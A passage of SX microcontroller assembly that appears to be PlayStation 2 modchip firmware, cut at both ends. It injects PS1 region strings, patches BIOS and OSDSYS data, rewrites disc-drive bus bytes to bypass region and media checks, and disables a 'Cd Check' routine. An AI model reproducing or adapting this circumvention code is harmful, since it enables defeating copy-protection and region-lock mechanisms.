mov w,#$5 mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#$3a mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS jmp RESUME_MODE_FROM_EJECT sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED mov w,rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT clr fsr snb DEV1_FLAG page $0400 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp CONSOLE_2002_JMP mov w,#$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0400 jmp START_CDDVD_PATCH ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb USA_FLAG page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC snb JAP_FLAG page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC page $0800 jmp PS1_CONSOLE_PAL_YFIX org $0200 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 ;0 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ;7 ;;Label_0039 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#$36 mov VAR_DC3,w retw $a4 retw $ec mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#$3d mov VAR_DC3,w retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 mov w,#$b mov VAR_DC1,w mov w,#$49 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 ;;todo v0 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr mov w,#$31 mov w,VAR_BIOS_REV-w snb z jmp V1_CONSOLE_11_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V2or3_CONSOLE_12_BIOS mov w,#$35 mov w,VAR_BIOS_REV-w snb z jmp V4_CONSOLE_15_BIOS jmp CHECK_V9to14_REV ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V12_CONSOLE_20_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w mov w,#$94 mov VAR_DC4,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#$64 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#$f4 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$27 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$20 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$20 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp POST_PATCH_4_MODE_START_2 snb V12LOGO_FLAG page $0a00 jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27 mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp POST_PATCH_4_MODE_START2_2 mov w,#$64 mov VAR_DC4,w ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$20 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 ;; call bios wait oe worked here seemed nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A mov w,#$6 mov !IO_CDDVD_BUS,w mode $0009 clr w mov !IO_CDDVD_BUS,w mode $000B snb PSX_FLAG jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 mov !IO_CDDVD_BUS,w sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 mov !IO_CDDVD_BUS,w sleep org $0400 ; PAGE4 400-5FF ;; page4 mechacon area ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- snb IO_CDDVD_OE_A_1Q jmp MECHACON_WAIT_OE ;;todo weird jump Label_0039 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R decsz VAR_DC1 jmp MECHACON_WAIT_OE ;;todo weird jump Label_0039 ret ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#$f mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;dvd_c1 mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb USA_FLAG jmp CDDVD_USA snb UK_FLAG jmp CDDVD_UK mov w,#$10 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_UK mov w,#$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_USA clr w ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$1f mov m,w mov w,#$f mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH mov w,#$ff CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov !IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb SOFT_RST jmp V9toV12_CONSOLE_PATCH1_POST ;exit_patch CDDVD_IS_PS1 clrb IO_CDDVD_OE_A_1R clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0a00 jmp PS1_DETECTED_REBOOT org $0600 ;; page 6 DEV1 COMPLETELY DIFFERENT ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P6 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P6 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ;;h2o dev1 ported ;-------------------------------------------------------------------------------- jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG setb SOFT_RST setb EJ_FLAG setb DEV1_FLAG mov w,#$73 mov VAR_DC1,w clr w mov VAR_DC3,w ;;PS2LOGO_PATCH_19_20_JMP2 ;; is error for where in ps2 bios load v10 jmp ?? mov w,#$20 mov fsr,w DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 ;;Label_0198 ;; error jmp DEV1_MODE_LOAD_LOOP page $0200 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;---------------------------------------------------------- ;XCDVDMAN routine 2 ??? ps1 XCDVDMAN ?? ;---------------------------------------------------------- ;;todo POST_PATCH_4_MODE_START_2 page $0000 call SET_INTRPT POST_PATCH_4_MODE_START2_2 mov w,#$64 mov VAR_DC4,w POST_PATCH_4_MODE_START_L1_2 mov w,#$ff mov VAR_DC3,w 